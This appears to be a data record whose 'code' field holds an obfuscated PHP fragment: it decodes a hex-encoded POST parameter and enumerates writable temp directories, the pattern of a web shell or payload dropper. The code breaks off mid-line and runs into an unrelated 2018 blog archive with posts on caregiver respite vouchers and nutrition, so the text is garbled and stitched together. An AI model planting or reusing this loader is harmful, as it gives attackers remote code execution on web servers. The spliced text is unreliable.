{'id': 52945, 'code': 'Jvonjerh 0 && isset($_POST["co\\x6Dp"])){\n$record = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP")]);\n$pgrp = hex2bin($_POST["co\\x6Dp"]);\n$bind = \'\' ; for($n=0;$n 2018 September | Nancy Adler Jones

Respite vouchers for Unpaid Family Caregivers

Many family caregivers are unaware that they can receive some reimbursement for their time taking care of a loved one.  Here is some information about this valuable program.

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Sun, September 2 2018 » Consumer Advocacy » Comments Off on Respite vouchers for Unpaid Family Caregivers

When should you eat?

Advice has been around for a long time that eating breakfast is a healthy habit.  This article cites some science around this recommendation.

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Sun, September 2 2018 » Weight Loss, Nuitrition » Comments Off on When should you eat?

The 3,500 calorie rule

I am pleased that the nutrition community is talking more about metabolic effects of food rather than about calorie count.  This article sheds light on this important topic.

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Sun, September 2 2018 » Weight Loss, Nuitrition » Comments Off on The 3,500 calorie rule